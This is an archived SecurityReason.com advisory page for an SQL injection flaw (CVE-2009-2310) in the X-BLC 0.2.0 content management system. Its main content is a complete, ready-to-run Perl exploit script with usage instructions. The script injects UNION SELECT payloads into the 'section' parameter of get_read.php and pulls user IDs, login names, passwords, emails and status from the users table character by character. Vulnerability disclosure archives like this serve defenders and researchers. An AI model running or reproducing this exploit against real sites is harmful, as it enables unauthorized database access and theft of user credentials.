SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

X-BLC 0.2.0 (get_read.php section) SQL Injection Vulnerability


Arrow  SecurityAlert : 5986
Arrow  CVE : CVE-2009-2310
Arrow  CWE : CWE-89
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   5917
Arrow  Credit : dun
Arrow  Published : 04.07.2009

Arrow  Affected Software : X-BLC 0.2.0



Arrow  Advisory Content :  

#!/usr/bin/perl -w
######################################################
# [ xblc <= 0.2.0 ] SQL Injection Vulnerability #
######################################################
#
# Script: "X-BLC is a dynamic web content management system written in
PHP..."
#
# Script site: http://www.biolawcom.de/xblc/
, http://sourceforge.net/projects/xblc/
# Download:
http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull
#
# Usage: perl expl.pl http://www.biolawcom.de/demo/
#
#######################################################
#
# [ dun / 2009 ]

use IO::Socket;
use Socket;
use IO::Select;

my @tables=("id","login_name","password","email","status");

if(scalar(@ARGV) < 1) {
print "\nUsage: perl expl.pl http://site.com/path/\n\n";
exit;
}

foreach $t (@tables) {
$i=1;
print $t." = ";
do {
$path =
"include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1
))+FROM+users/*";
$host = $ARGV[0].$path;
#############################################
# $page = http_query($host, $proxy, $port); #
#############################################
$page = http_query($host);
$page =~ /guest=(.*)\,runTime=/;
$char=$1;
print chr($char);
$i++;
} while($char != 0);
print "\n";
}

sub http_query {
my $page="";
my $url=$_[0];
if(defined($_[1]) && defined($_[2])) {
$host=$_[1];
$port=$_[2];
$get="GET $url HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
} else {
$port=80;
$url=~s/http:\/\///;
$host=$url;
$query=$url;
$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
$get="GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection:
Close\r\n\r\n";
}
my $sock =
IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Time
out => 3) or return;
print $sock $get;
my @r = <$sock>;
$page="@r";
close($sock);

return $page;
}



Arrow  References :

http://securityreason.com/expldownload/1/5917/1 (Exploit)




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.